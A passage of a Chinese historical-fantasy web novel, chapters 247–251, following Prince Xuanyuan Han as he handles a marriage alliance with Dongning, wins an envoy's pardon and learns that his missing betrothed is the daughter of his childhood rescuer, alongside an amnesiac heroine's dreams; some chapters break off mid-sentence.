就在这时,一阵微风从身旁的湖面吹来,忽然不知从何处,竟浮动起一股若有若无的梅花暗香来。仔细一寻,程良这才发现此颇为淡雅香气的来源,像是正从面前该男子的身上所发出的。

因为天色尚还未亮,他便警觉地从腰间抽出长剑来,小心翼翼地踱步朝着发出声音的模糊身影边靠过去。然待其刚一逼近到其身边,便顿时大吃一惊道“你是…东宁国三皇子…梅志煊?”

岂料话音未落,程良方才好不容易压下去一些的满腔怒火又瞬间全部一齐迅速地涌上心头。于是,便兀自以迅雷不及掩耳之势将手中紧握着的一柄利剑,稳稳地抵在了梅志煊的左肩上,眉头紧皱对其怒火中烧狠狠地道“梅志煊,你好大的胆子,区区一国之庶出的皇子,难道我西秦尊贵无比的嫡长公主的身份竟还配不上你不成?竟如此羞辱和挑衅我西秦国。说,你鬼鬼祟祟地潜藏在我西秦境内,这会子又只身摸黑着前来找我们殿下,究竟有何企图?”

不料程良颇为激动,忿忿不平对其此番这一顿劈头盖脸的痛斥,梅志煊却丝毫都不将其放在眼里。

始终都一袭白衣锦袍保持着风度翩翩笔挺地单手附后,对所有周围的动静根本不屑一顾地站在原地里,一双深邃的眼眸唯独只盯視着马车里的动静一动也不动。

只待程良将胸中的一团熊熊怒火发泄完毕,敛了声,方才继续兀自向着马车内的人再次扬声请求道“东宁国梅志煊,求见西秦秦王殿下,此次冒昧前来乃是有要事相商,还请秦王殿下下车一见。”

显然,在听闻了城隍庙老和尚的一袭话后,此时的梅志煊心里着实懊恼极了。他恍然意识到原来自己在关于西秦守护者这件事上竟如此过于自负。就这样人云亦云地轻信了世间的这些谣言传闻,险些筑成不可挽回的大错。

正所谓‘知己知彼,方才能百战不殆’,可若是就这样盲目地回国准备起兵,怕是到时候一定会是个措不及防的悲惨局面。

若是早些知道了西秦守护者竟还存在着的话,他又何必受今日之辱。他完全可以让其父皇应允下这个和亲请求,从这个公主身上顺藤摸瓜揪出守护者的下落和秘密,哪会落得如今这般撕破了

脸皮后的被动与难堪。

眼下,看这秦王轩辕翰的架势,想必因为西秦使臣不远万里主动到东宁国请求和亲遭拒所引起的负面影响而耿耿于怀。一定也会‘以其人之道还其彼身’,同样驳了自己的面。

可为了达到他的最终目的,他自是无论如何也要暂时低头隐忍下这一切,‘大丈夫能屈便能伸’,想想这也算是自己自食恶果,对于自己的过失所付出的代价,‘小不忍则乱大谋’。

程良闻声,侧过脸去看了看马车里的主人,只见其依旧连同周围的空气一起像是被凝固住了一般,久久都没有任何一丝风吹草动。便转而对梅志煊一副十足趾高气扬地说道“看见了吧,这便是你们对西秦国无礼所造成的后果!我们殿下赶着去早朝,没空理会你。你还是不要在此继续自取其辱,赶紧趁早夹着你的尾巴滚回你们东宁国去吧。若是再这样纠缠下去,惹恼了我家殿下,定叫你吃不完兜着走。”

程良说着,竟一手将剑横在其喉间,另一手紧紧地提起了梅志煊的衣领,凑到其鼻前朝其狠狠警告道。

岂料这一次,梅志煊竟同样怒目着亦撇了一眼程良,继而又继续一脸严肃地向着马车的方向极为恭敬地拱手弯腰行礼起来,程良一时间竟有些不知所措地缓缓松开了手。

只见梅志煊再次颇为诚恳地一字一句,请求道“东宁国…梅志煊,恭请秦王殿下下车一见。”

然左不过十几步的距离处,马车上的人依旧不见有任何动静传出。

于是,程良便环抱起自己的双臂来,站在其身旁,对着正弯腰哈背恭敬行礼的梅志煊轻笑了一声,道“哼,‘早知现在,何必当初’。这下知道被人拒绝是什么滋味了吧,但你可知,此次去东宁国请求和亲,我西秦所受到的屈辱,远要比你此时所受的多千倍万倍。”

就这样,一时间里,所有的人都静默了下来。

不知过了有多久,直到众人周围的视线忽然渐渐变得有些亮了起来。梅志煊方才吸了口气,缓缓伸手从身上摸出一封信来,继而起身来对着身边的程良沉声说道“这封信,麻烦请代我转交秦王殿下。”

话音刚落,梅志煊便抿了抿嘴,将手里的书信递到了程良手上。

正欲转身牵马离去,忽然从身后的马车里传出一阵冷厉极了的声音来,道“梅志煊,你给本王记住,若不是玥儿对你一见倾心,坚持要嫁你

第二百四十七章:终于有人着急了

月潜日升,终于迎来了新一年第一个黎明的到来。

当秦王府的气派马车赶到皇宫门口的时候,天色早已见亮。

晨雾里,一座坐北朝南、居高临下、殿宇林立、气势雄伟、壮丽非凡、不禁让人肃然起敬的西秦皇宫宫殿渐渐从这团迷雾笼罩中现了出来。

晨曦洒下,温柔地轻抚着位于这片大陆中部的宫殿内外寂静的一片高树、浅草,红墙、黄瓦……

显然,因为梅志煊的半路出现,终是让轩辕翰耽误了早朝的时辰。

待其一跨下马车来,程良便急急紧随主子其后,俩人一起朝着乾坤殿方向快步奔去。

然刚一到达乾坤殿院门口,跨过了那道汉白玉石门槛,俩人便立刻顿足下来面面相觑了起来,被眼前的场景惊呆了。

只见对面高高筑起的汉白玉石雕高台上,高大巍峨的乾坤殿外,轩辕玥正俯首跪在殿门前,连连叩首着。

尚未及待主子发声吩咐,程良便已迫不及待地朝其疾步奔了过去。

一近身,这才看到轩辕玥早已是泪流满面着,其额头上还满是斑斑血迹。整个人更是处在一片昏昏沉沉、摇摇晃晃的状态。然却始终都未曾放弃地一边重重地叩首,一边对着殿内的方向口中不断地重复祈求道“儿臣恳请父皇收回成命,免除使臣满门抄斩之罪,儿臣愿意听从父皇任何安排……”

然纵使她此刻再多的叩首与祈求,殿内那人却依旧对其无情地视若不见着。也无论身旁心疼极了的皇后和太子俩人如何劝慰,也无法将其劝停下来。

自古以来,都是“后宫不得干政”。身为母仪天下的一国之母,皇后自是纵使此刻心里有多心疼与着急,终究也无法踏足进入那大殿里一步,替自己的心头肉争辩一个字。其实,这么多年来,她心里亦清清楚楚地明白,那个人,从始至终亦都不会听自己说一句话。即便进去了,亦是枉然。

太子轩辕昊亦是有心而无力极了,只能陪其一起跪着,哭着乞求道“皇姐,你起来吧,快起来啊。”

程良瞪大了眼睛看着,听着这眼前触目惊心、鲜血淋淋、悲凄的一切,被惊的目瞪口呆。半晌后,方才回过神来忙上前去屈膝扶住轩辕玥的胳膊,又仔细地将其周身重新打量了一番,问道“公主殿下,这…这是怎么了?”

轩辕玥已是有气而无力地对其沉吟说道“程将军,父皇派去东宁国请求和亲的使臣…刚刚…刚刚被判满门抄斩之罪,今日午时三刻便要全家老小一起被行刑斩首示众了。程将军赶快想想办法,救他们,快…快…快呀……”

尚未待其将话说完,来自身上、心里的所有伤痛终于致使她虚弱地背过了气,晕了过去。

“公主,公主……”

“皇姐,皇姐……”

“皇儿,皇儿……”

见此,顿时间,身旁三人着急地乱成了一锅粥,手忙脚乱地一起摇晃着她瘦弱的身子,同时朝其大声地疾呼起来。

程良紧紧地皱着眉头,不可思议地对着此刻惊慌失措着,只知道不停拭泪的皇后道“皇后娘娘,那被派去与东宁国交涉公主和亲事宜的使臣,可是皇上身边最亲信的人啊,皇上竟也舍得如此残暴地治其罪责。出使未能完成使命,竟要惨遭灭门之灾?西秦可从未有过这样的法令啊!”

“程将军,本宫…本宫……”皇后欲言又止着一脸的无可奈何,又满腔心事不知从何道起的为难着。

“母后,父皇他…他怎么会成为今天这个样子?”轩辕昊跪地扶着轩辕玥的胳膊,泪眼婆娑地看着皇后的脸亦不明白地问。

正在说话间,轩辕翰已一袭玄色朝服走了过来到众人身边,依旧一张冷峻的脸对皇后道“皇嫂。”

“秦王,你的身体可都已恢复了?”皇后一看见秦王现身,便忙侧过脸去将泪水拭干,继而才转头朝其关切道。

“已无大碍了。”轩辕翰说着,斜眼冷冷地看了程良怀里一脸苍白悲惨的轩辕玥一眼。

皇后瞥见,又满是黯然神伤地对其苦道“秦王,玥儿的事,怕是……”

未及皇后将话说完,轩辕翰便急急开口将其打断道“皇嫂放心。”

紧接着,又对程良安排道“程良,你先送公主和皇后,还有太子回宫去。”

“是”程良重重地点了点头,领命后便一把将地上的轩辕玥横抱起,皇后和轩辕昊紧随其后,三人一同兀自向着风华宫方向急急奔去。

轩辕翰单手附后着立在殿门外,望着四人远去的背影,重重地叹了口气。他没想到,如今的璟帝,竟已到了如此疯狂地开始施行起暴政来,就连自己的羽翼也在所不惜。看来,他终于开始着急了。

金碧辉煌,威严肃静的乾坤殿大殿上。

 

第二百四十八章:请旨寻人

就在梅志煊的亲笔书信被呈上的这一刻,大殿之上的文武百官无一人不屏住了呼吸,似是连同众人周围的空气一时间里亦都随着这封信静止了下来。

没有人知道这信上所带来的内容,是不是会将今日大殿上的微妙气氛更升一级,亦或是会瞬间引爆。

每个人心里都七上八下,唯有虔诚地默默祈祷着,秦王轩辕翰的到来能彻底拯救他们,终结他们其中不知道下一个又将会轮到谁头上的厄运。

面对这几年愈来愈残暴施政的璟帝,拒谏饰非,滥用重刑,苛捐杂税,不顾黎民百姓死活,只管自己炼丹以求长生。

这样的局势之下,民怨四起,大家都小心翼翼,畏首畏尾,阿谀奉承,战战兢兢,谁还敢真正有所作为。

殿内的气氛,已然升至了最紧扣人心的时刻,每个人都诚惶诚恐地垂首等候着自己被宣判的时刻。

岂料,璟帝一将手中的信刚刚看完,便板着脸一脸威严狠狠地将右手一把重重地拍在了金光闪闪的龙椅扶手上,继而怒目而视了一圈底下的众人。

最后,将目光锁在殿前上前而立一直俯首着至今都未抬起眼来半分的轩辕翰厉声大喝道“大胆秦王!”

见到璟帝已然再次震怒,除了秦王轩辕翰依旧如雷打不动般镇定自若外,殿内文武百官皆无一不约而同地呼啦啦全部一起纷纷跪倒在地上,一边叩首一边连连大声朝其祈求道“皇上息怒,皇上开恩,皇上息怒,皇上开恩……”

然让众人都意想不到的是,接下来,那高高在上的一张威严面孔却忽然间发出一阵颇为舒心爽朗的笑声“哈哈哈哈哈…哈哈哈哈哈……”

闻此,俯首跪倒在地的所有人都止住声,不明所以地怯怯抬起头来向那最高的位置上偷窥张望了过去。

这时,璟帝转而一脸欣喜地对着殿前的轩辕翰道“大胆秦王,竟得了这等天大的好消息,为何不早些来报,平身吧!”

“谢皇上。”至此,轩辕翰方才终于得以站直了身子。

可怔怔看着大殿里这忽然变得亲切起来的皇族兄弟俩人,却不知究竟发生了何事的百官们却依旧不敢大声地喘息一声。

接着,璟帝方才一脸喜色地对下面齐齐跪着的一脸茫然的众百官道“众卿家也都起来吧。”

“谢主隆恩。”于是,众人亦都糊里糊涂地齐声领旨谢恩,起身来重新站定。

璟帝将手里的信半举着,瞬间一脸和颜悦色地骄傲宣布道“朕手中的乃是东宁国三皇子梅志煊的亲笔书信,其声称一月之内定会日夜兼程,亲自携十里红妆前来迎娶我西秦公主。有了富甲一方的东宁国与我西秦尊贵的秦王和公主,这两桩亲上加亲的世纪联姻。相信日后里,灵空各国定会

对我西秦的实力更加有所忌惮。秦王实乃不愧为我西秦国之栋梁,百官之表率。”

“臣等恭贺吾皇万岁万岁万万岁,秦王殿下千岁千岁千千岁。”闻此,殿内百官方才终于长长的舒了口气,拱手恭敬地齐声朝二人恭贺道。

“只是,东宁与我西秦相隔千山万水之遥,不知这封信怎么又会到了秦王的手中?”璟帝终是多疑地忍不住问道。

闻此,轩辕翰的眼睛猛地一怔,稍作思量继而回答道“回皇上,这便是臣为何会误了今日早朝时辰的原因。那东宁国三皇子梅志煊,他今日忽然出现在臣入宫的半途之中,拦了臣的马车,纠缠着非要见臣一面,但臣并未答应见他。他便硬将这封信塞给了臣的侍卫,故才耽误了上朝的时辰。”

“梅志煊,他又怎会在我西秦国境内?”璟帝又一脸疑惑地问。

轩辕翰稍作思量,开口说道“其实,梅志煊他在臣大婚送亲之际,因在臣的府邸与公主有过一面之缘。据梅志煊他当时自己在马车外对臣所说,他那时便已开始仰慕我国公主,故暂时留在西秦国里并未离去,这才不知我国使者前去东宁国请求和亲之事。近日里,他也是刚刚收到了来自东宁的家书,方才获悉了此事。唯怕皇上误会,以为是东宁国有意拒绝了与我国的和亲,亦是怕错失了自己的意中人,这才迫不及待地出面来寻臣帮忙澄清事实。并愿意即刻回国去准备大婚各礼节相关事宜,亲自前来迎娶我国公主。”

璟帝闻之大喜,连连惊声道“哦?这么说,公主与那三皇子竟然早已是天赐良缘咯。好,好,好,好极了!这件事,秦王有功。朕定要重重的奖赏,秦王想要什么赏赐,尽管说来。”

一旁的百官们亦都各个满面喜色,互相窃窃私语着。

然轩辕翰却一脸严肃道“如今,东宁国迎娶我国公主,公主大婚将至。既然这一切都只是场乌龙,臣恳求皇上赦免使臣之罪,既然其已与东宁已经有过交涉的经验,不妨由其将功补过,全权负责公主和亲的所有事宜。”

“既然误会都已经澄清,使臣之罪自是可以全部免除,就依秦王所言便是:赦免使臣之前的所有罪责,官复原职,命其全权负责公主和亲诸事,不得有误。”璟帝当着文武百官的面,下旨赦罪道。

“臣还有一不情之请,望皇上恩准。”不想轩辕翰思之又思,开口再次请求道。

&nbs

第二百四十九章:不能说的秘密

眼看着轩辕翰主仆俩人马上就要到达宫门口时,忽从前方现出一个看似有些神色匆匆的御药房药师打扮的男人身影来,该人一上前来便驻足垂首朝其恭敬地拱手行礼道“微臣参见秦王殿下!”

“衣药师,你怎么在这儿?”尚未待轩辕翰出声,程良先一步上前来替其仔细查看了一番,随即惊讶道。

“微臣在此特意已等候秦王殿下多时,有要事前来禀报。”衣上坤依旧垂首道。

闻此,程良默默地回头看向了其身后主子的脸。只见轩辕翰一顿足下来,便单手附后着看都不看衣上坤的脸,微微侧身对其冷冷地道“衣药师所要禀的,若是只关于令嫒失踪的事,那就不必说了,本王都已经知道了。本王府上的人,本王自会不竭余力地将其寻回。只是,本王想知道,本王府上的人,怎么不是在衣药师的府中好端端的待着养身子,反而只身跑去了城南那么多日且不见归,也始终不见衣药师派人去寻呢?不知衣药师究竟是如何看护的?本王只想请衣药师就此疑问给予本王一个合理的解释。”

闻此,衣上坤只觉此声犹如晴天霹雳一般,震得使他两腿发软,不禁顿时浑身瑟瑟发抖起来,忙战战兢兢地“扑通”一声跪倒在面前的地上,直冒着冷汗连连叩首道“微臣该死,请秦王殿下恕罪,这一切都是微臣的错,都怪微臣没有尽心看护好小女,方才致使她遭遇此不测,下落不明……微臣该死,微臣该死……”

岂料轩辕翰闻此,眼里似是瞬间迸射出千万支寒光四射的利箭一般,狠狠地射向了衣上坤的五脏六腑,朝其厉声呵斥道“你的确是该死,倘若她真的有个什么……就算拿你衣府满门的人头来赔本王,你也赔不起。”

衣上坤只得不停地对其叩首道“微臣该死,微臣该死……”除此之外,他似是真不知道自己此时还能说些什么,做些什么,方才能将眼前之人心头的万丈怒火平息半分。纵使他不抬头用眼睛来看,也早已感觉到面前威严至极的人脸上,那副即便是将他活活吞下亦不能解气半分的满面怒色。

半晌后,轩辕翰愤怒极了的心绪似是终于得以收敛平复了些许下来,随即正欲忿忿踱步离去。衣上坤方才忽地回过神来,鼓足了勇气,依旧俯首跪地道“秦王殿下请留步,有件事,是关于小女的一个不能说的秘密…微臣思之又思,想了许久,决定还是告知殿下的比较好。毕竟…她以后便是秦王府的人了。”

此时,轩辕翰已然踱步到了其身后,程良亦紧随其后地跟着。然一听闻衣上坤口中所说之事乃是关于衣上云的,他还是终忍不住停下来脚步。若不是因此,他绝不会多在此停留半步,与其多费一句话。这样为人父母之人,他自是在心里对其万分的鄙视与不屑。

于是,他强忍着内心的悲愤,头也不回地驻足下来,依旧板着脸冰冷惜字如金地问道“何事?”

虽然经常在宫中行走,知道此时此地,很少有人经过,所以才选了此

地见面的衣上坤还是谨慎地朝着四周再次扫了一眼。

程良见此,亦帮忙向四周细细探了一圈,方才对其点了点头,衣上坤这才倒抽了口气,开口说道“殿下,其实…云儿她…她并非是微臣的女儿……”

“你说什么?”闻此,不及衣上坤将剩余的话讲完,轩辕翰便猛地回过头来,一脸吃惊地朝其瞪大了一双深邃的眼眸,惊呆了。

就连立在衣上坤身旁的程良,亦是一时间里整个人都站在原地里怔愣住,痴痴地看着他那张低垂的侧脸,满腹的不可思议。

然衣上坤却仍旧是跪地不敢抬起头来半分,反倒是将头低的更低了些,俯首对其幽幽道“十七年了,这十七年里,不是微臣不关心她,而且怕微臣对她的关心,在那座深宅大院里成为她的一种负担。云儿,她其实是微臣入宫之前与糟糠之妻在深山里采药时,偶然所遇见的一位似是因为坠落悬崖所致的生产在即的妇人所生。微臣乃是受了那位妇人的临终所托,方才收养了那个刚一出生便没了娘的可怜的孩子。”

至此,轩辕翰方才恍然大悟,却瞬间惊诧地似是连话都说不出来,他的心里似乎正另外还怀疑着些其它什么更为重要的事情,只见他的眼睛顿时瞪的越来越大。

稍作思量,只对其冷声说道“起来回话吧。”

“谢殿下。”衣上坤这才撩起袍角,缓缓站起了身来。

然待其刚一立定,轩辕翰便似是忽地瞬间明白了什么,立刻上前一步,同时伸出一只极有力的大手来紧紧地握住了其一只胳膊,放眼紧盯着其眼睛,严肃道“本王问你,方才你说,你是在山里采药时遇到了那位坠崖所致的即将生产的妇人,是哪座山?”

“是城南的北山,那是微臣的老家。”衣上坤顿时震惊不已的怯怯看着轩辕翰的眼睛道。

“城南北山?十七年前?你的老家?…那你可还记得是在十七年前的哪一日遇到那位妇人的?…是不是…是不是先帝薨逝的那一日?”此刻,轩辕翰的心里着实难以置信地激动极了,就连附在衣上坤胳膊上手的力气亦不知不觉地慢慢加大了几分而不自知,只一字一顿地肃声问道。

见此,衣上坤的心里即刻亦紧张极了,他根本不知道轩辕翰为何会如此失常的激动着。稍作回忆,只对其愣愣地摇了摇头,吞吞吐吐道“不是…不是先帝薨逝的那日,而是…而是先帝薨逝的第二日黎明时分,天色尚才微微发亮的时候。不过,依照那妇人的伤势和当时的情况来看,应是前一日就落下山崖的。当时,微臣看到她的时候,她似乎是从北山脚下的碧水湖滩上挣扎着爬了许久,应是怕孩子夜里意外出生冻着了,直到爬到树林边上实在没了力气,才……”

尚未待其将话说完,岂料轩辕翰瞪大着的一双深邃的眸子竟忽然间噙满了泪水,且眼看着似是都快要滑落下来,似是就连整个人的身子亦都在颤抖一般,衣上坤不禁吃惊地看着他的眼睛默默地止住了声。

“殿下,殿下……”这时,一旁的程良似是也猜到了些什么,看到轩辕翰已然陷入了沉痛的往事回忆之中,便急急伸手一把捉住了其尚且还附在衣上坤身上的胳膊朝其轻唤道。

终于,轩辕翰的手缓缓松了开来,眼睛也终究慢慢地移开,继而顿时一脸的黯然神伤,缓缓侧过了身去。

这时,程良一脸凝重地继续上前替自己的主子问衣上坤道“这么说,当年侍卫们搜遍了北山内外所发现的唯一一座被烧毁了的小茅屋,便是你的家咯?”

“是的,那便是微臣以前的家,是微臣亲手一把火将它与那妇人一起烧的干干净净。那妇人,微臣问她什么都不说,微臣见她气质不俗,以为她是家里遭了什么横祸,被人追杀又或者遭受了什么满门抄斩之类的祸事,四处逃亡这才不小心失足落了崖。微臣又怕贼人追来要斩草除根对那孩子不利,便一刻都不敢多做停留,连夜逃离了北山,自此便再也没敢回去过。”衣上坤倒抽了口气,说道。

闻此,程良心里顿时间愤怒极了,朝其大声怒斥道“你为什么要这么做?你可知道,殿下他…他当年只不过还是个孩子,为了寻那位救命恩人,他带着侍卫在深山里没日没夜地搜寻了整整数月,都未曾见那妇人的半丝踪迹。”

“什么,救命恩人?”衣上坤不解地道。

程良叹了口气,道“那位即将临盆的妇人,她乃正是为了救秦王殿下才被人逼落山崖的。”

闻此,衣上坤亦瞬间瞪大了眼睛看着程良的脸,惊的不禁微微后退了两步,向着其惊声道“怎么会是这样?”

此话一出,一时间里,三个人都一起静默了下来,各自陷入了沉沉的思索当中。

半晌后,轩辕翰方才收敛悲伤,沉声再次问道“那妇人临终前,果真什么话都未曾留下么?”

衣上坤再次看似犹犹豫豫的样子想了想,似是心一横,道“那妇人,临终之前,说她只愿那个孩子快快乐乐地做一个平常百姓家的女子,叮嘱微臣千万不能让其接近…接近皇族中人,更不能与其纠缠在一起。甚至为此而不惜亲手下毒毁了那孩子的容貌,可她终究还是……”

“既然你知道这是个不能说的秘密,那你为何还要将此事告诉本王?”轩辕翰问。

闻此,衣上坤顿时抬起头来朝着轩辕翰的侧脸怔愣了许久,最后似是一脸无奈地说道“因为这个女儿,自从昏迷了一年醒来之后,她的所作所为,微臣实在已是再也琢磨不透,亦控制不了了。世上的事,竟往往事与愿违,或许,这便是她的命吧。一个人,纵使再神通广大,可终究也无法与命运抗衡。既然逃不过,索性…便也就不再藏着掖着了。微臣只求殿下能帮忙将这个可怜的孩子寻回,微臣将感激不尽。”

衣上坤这话一说完,轩辕翰便兀自踱步出了宫门。

望着其远去的背影,衣上坤默默地暗自喃喃说道“天意,这都是天意啊!”

第二百五十章:心的呼唤

‘一语惊醒梦中人’,显然方才衣上坤的一席话,致使轩辕翰此刻虽看似脚下正无比沉稳地迈步着,然实则其脑海里却早已是千回百转,一片混乱。

他甚至有一种错觉,方才所发生的一切都似是一场梦一般,虚无缥缈,那样的不真实。

那个即将临盆的妇人,从那么高的悬崖上落下,竟会没有粉身碎骨,这怎么可能?

于是,他蹙了蹙眉,一边疾走,一边深感不可思议地开口沉声向着紧随其后的程良求证道“程良,方才衣上坤所说的一切你可都听到了?当年那位无名恩人,她坠崖后竟然没死,还产下了一名女婴。可那么高的悬崖,这怎么可能呢?”

程良亦对方才衣上坤所言同样甚感意外极了,他沉默着又想了想,道“这的确是让人很难以置信。可是,前几日里,殿下不也从那面与十七年前的那位妇人所落下的一模一样的悬崖上坠下了吗?可殿下现在不也毫发无伤吗?乐太医为殿下仔细检查过很多次,都说殿下身上的伤都只是悬崖边上的荆棘丛所致,并无其他伤痕。所以,衣药师所言,也未必不是不可能的。想那衣药师也不可能为了让殿下帮忙找回衣姑娘而扯下如此谎言?况且,殿下年幼时的那位救命恩人的事情,知道的人甚少,他一个小小药师,又怎么可能会知道呢?属下甚至禁不住在想,那位妇人当时若不是因为身怀有孕的话,怕是也不一定会死的。如此想来,衣姑娘她也肯定还好好活着。这是好事啊,殿下。”

程良一边思索着一边将话说完的时候,不禁早已是满腹喜悦浮上了心头。

岂料轩辕翰听了这话,却顿时将脸色变得更加冷厉了几分,随即双拳亦紧紧的握起。只待其一迈步出了宫门,便似是魔怔了一般地急急翻身上一匹黑得发亮的高大骏马,随即伸手挽着缰绳,只听一声“驾”,便兀自好似拼尽了全身力气般只身策马急奔而去。

唯留下身后的程良,却似是尚还不知发生了何事亦或是刚刚自己说错了什么一般,一脸惊愕地顿足怔愣了片刻,继而则惊声朝其已远去的背影声声疾唤道“殿下,殿下……”

见其呼唤声并不见有丝毫回应,这才忽觉似是有什么不对劲似的,继而亦急急跨上了马背朝其背影紧追了上去。

主仆俩一前一后地一阵疾驰后,不知道过了多久,只见轩辕翰的马速渐渐放慢了下来,终于停住。继而翻身下马,站到地上,似是恍恍惚惚地游走到了一处偏僻的山谷里的一座断崖前,双腿微微叉开,紧握双拳对着眼前的深谷里的白云缭绕,滴翠浮青,云海如浪疯狂地连连怒吼发泄起来“啊……啊……啊……为什么,为什么,为什么……”

顿时间,只闻山谷里到处回声阵阵,这声声响亮的似是撕心裂肺的怒吼声,愤怒的都欲要将这山川河流撼动了一般,他的整个身子亦都在随着这怒吼声颤抖。

的确,自打从城南北山坠崖昏迷后醒来至今,他一直都独自隐忍着衣上云可能会遭遇到的任何状况,好的,不好的……

这一切未知的可能,渺茫的生存机会,本就不知该如何排解,继而又从衣上坤那里得知了这个让他无论如何都没想到的生命的奇迹。

原来,当年的那个妇人,她落崖后并没有粉身碎骨,无迹可寻。不仅如此,她还拼命地保下了一个孩子。

而那个孩子,他怎么都没想到竟然会是她,竟然就是她。

原来,这十七年以来,那个孩子,她就在自己的眼皮子底下如此艰难辛苦地活着。

若是他早些知道,或许她便不会在那个宅院里活的如此小心翼翼和委屈;若是他早些知道,他会对她加倍更加倍地好一些,是那种他从未对谁有过的好;若是他早些知道,或许一切都不会是现在这个样子……可这些年来,他却什么都不知道,什么都不知道…...

这时,终于赶上来的程良一见到眼前从未有过如此失态和放纵的主人,整个人都被这个场面惊呆了。他坐在马背上朝着那个尊贵伟岸的身影怔了许久,方才默默地下了马来。

继而又兀自踱步着缓缓走到其身后,心疼又忧伤地看着眼前这个从未有过如此无奈又悲愤的主人,痛心极了地沉声劝解其道“殿下:属下知道殿下心里难过,可现在不是难过的时候。眼下,殿下还有很多重要的事情要做。衣姑娘至今都下落不明,毫无半点音讯;太妃亦死的不明不白,太后和皇上必定是各怀鬼胎,殿下一定要防患于未然,及早查明事实真相方可;那东宁国国君明明拒了我国的和亲请求,可那梅志煊却忽然现身出来,如此着急地想要迎娶公主,其中一定有什么阴谋诡计;皇上暴政已久,西秦的子民,还都生活在水深火热之中;听说,最近在我边境地带,像是又有内乱发生,且规模还相当之大,当地官府根本无力将其消灭。殿下既然已病愈,想必这次,皇上也很快会下旨派殿下亲自出面去镇压了……这所有的事情,无一不是迫在眉睫的。所以...殿下一定要振作起来才是啊!”

闻此,轩辕翰汹涌澎湃不止的心似是方才得以渐渐安息了些许下来,终于松了口气,握紧的拳头亦缓缓被松了开来。

只是仍旧沉默着不说一句话,任凭程良再怎么劝,他都始终一动不动地抬眼睁睁望着深谷之上,天空中的云卷云舒,心里暗自朝其默默道“云儿,你听到了吗?本王在心里唤你,若是你听到了,就快回来本王的身边。这一生,本王都不能再失去你,我们错过的,已太多太多……”

程良已然劝不下,索性不知何时起便也不再出声,只是默默地在陪在其身旁一起静静地站着,守护着他的主人。

不知过了多久,轩辕翰一直怔望着深谷上天空中的云彩一动不动,直到一片夕阳出现将其渐渐染红。

再到夕阳西下,夜幕悄悄降临,他忽然一个急转身道“回府。”

说着,便大步上前翻身上马,兀自策马扬鞭,程良紧随其后,俩人一道朝着城东府邸方向疾驰而去,扬起一地的尘土飞扬。

桃花店村里。

不知为什么,若曦今日里总是一副昏昏沉沉,极为贪睡的样子,然却也发生了一件让所有人都感到特别奇怪和兴奋的事情。

早饭过后,欢儿便准备好了新的白布巾和药,准备给若曦换药。

可是,当她小心翼翼地将原来的白布巾替其摘下来的时候,竟然发现若曦头上的伤已经完全好了。

不仅如此,一夜之间,竟然连伤口亦消失地无影无踪,就恍若她从来都没有受过伤一般。

只有老妇人始终都有事琢磨不透,所以便总是心事重重,闷闷不乐的。一大早起来,见若曦头上的伤已然大好,心中亦似不怎么高兴地起来。

这会儿,见若曦整日里都昏昏欲睡着,不知究竟哪里出了问题?

自己的心中,亦是对这个等了太久终于出现的女子怀有太多的疑问。

索性便想着还是得请城隍庙的大师亲自来看看,方才能安心。

抬头来看看天色,再不动身的话,怕是到天黑的时候,便要到不了城隍庙了。

一念至此,老妇人便急急动手收拾起行装来。一个简单的包袱,遮戴上了黑色的长帷帽,这便准备着要出门去了。

岂料其前脚刚一迈出房门,欢儿便从西屋里急急冲了出来,两手将其扶住,忙问道“老夫人,您这是打算去哪儿呀?”

老妇人驻足停了下来,一脸凝重地侧身望着西屋里昏睡着的女子道“若曦如今这个样子,老身不放心,我还是亲自跑一趟城隍庙吧。兴许,玄空大师这次刚好就云游回来了,我得请他亲自来家里给若曦瞧瞧才能安心。”

话音未落,欢儿一听便伸出手来想要去卸下老妇人肩上的包袱“老夫人,快放下来,还是欢儿替您去请吧。这些年以来,您可从来都没出过这个村子啊,欢儿怎么能放心您独自一个人出门呢!”

老妇人拽住欢儿的手,阻止道“欢儿莫要胡闹。若曦刚醒,一切都还不稳定,她眼睛又看不见,你留下来还要照顾她呢。待会儿记得帮她服药,老身不会有事的,放心吧!”

“不行,说什么欢儿也不能让您去。”欢儿依旧嘟着嘴,不松开附在其包袱上的手半分道。

就在俩人互相拉拉扯扯着,都不愿松手的时候,忽然从西屋内传出女子似是梦魇一般的喃喃细语声来“你是谁?你是谁?你是谁……”

闻此,俩人即刻同时都惊的面面相觑了起来,欢儿一时情急之下,便先忽地一把松开了手,继而疾步朝屋内奔去。

至此,老妇人方才乘机偷偷地溜出了门去……

第二百五十一章:长长的“梦”

无论世事、岁月、亦或空间如何变换,冥冥之中,那些仿佛曾经出现过在我们梦里的所有支离破碎的片段,似乎总有一日会在后来岁月中的某一时刻里,就那样毫无征兆地忽然都一一出现在了我们最真实不过的生活面前。

对此,我们迷惑、我们迟疑、我们惊讶。

这一瞬间,如此似曾相识的奇妙感觉,它究竟是我们将心底最深处那些虔诚的强烈祷念,所执念的片段幻化成了一个个或悲或喜的荒唐梦境;亦还是我们根本就是一直深陷在自己一手所编织成的梦境中,事到如今早已经模糊地分不清了其与现实世界之间的界线。

所以,什么是梦?什么是现实?梦与现实之间,又究竟有着怎样神奇的一种关系?

正如聚散离合的生生世世里,早已注定了彼此终将相遇的缘份。或深或浅,却总是都息息相关的一些人们之间,无论是生是死,也无论天涯海角。总有一天,都能感应到彼此之间曾经最虔诚的心的呼唤。

此时,在记忆一片空白的若曦的梦魇里,千年前与千年后的支离破碎的片段再次不停地闪换着:

一个车水马龙的繁华世界里,大雨滂沱的街头,一袭雪白长裙,个子高挑的妙龄少女独自黯然失神地走在城市里的每一条大街小巷上,四处寻寻觅觅着。

时而驻足下来朝着空无一人的街道大声呐喊着“魏明轩,你在哪里?你快回来,你回来跟我说清楚,你不能这么对我。到底我做错了什么,我都改。为什么当初说在一起的人是你,而最后先离开的人也是你。这不公平,你不能这样对我,你不能……”终于,她实在没了力气,无力地瘫倒在大雨之中……

场景闪变,在一片幽静的深谷前,一名衣饰显得尊贵不凡,背影高大伟岸,侧脸轮廓看似极睥睨天下的男子身影,正迎着风站在一面断崖前,面朝远方,在心里呼唤着“云儿,你听到了吗?本王在心里唤你,若是你听到了,就快回来本王的身边。这一生,本王都不能再失去你,我们错过的,已太多太多……”

梦境变换,出现的又是同样一挺拔的身躯。

这次,那人竟正那般专心投入地将一红衣女子紧紧地抵在一棵高大的树旁,附在女子的一片温软朱唇上,贪婪地亲吻,吸允着。而那女子也紧闭着双眼,满脸潮红,似是亦非常享受般地热烈回应着他所有的期待,俩人竟都一起渗出了潮潮的细汗来。

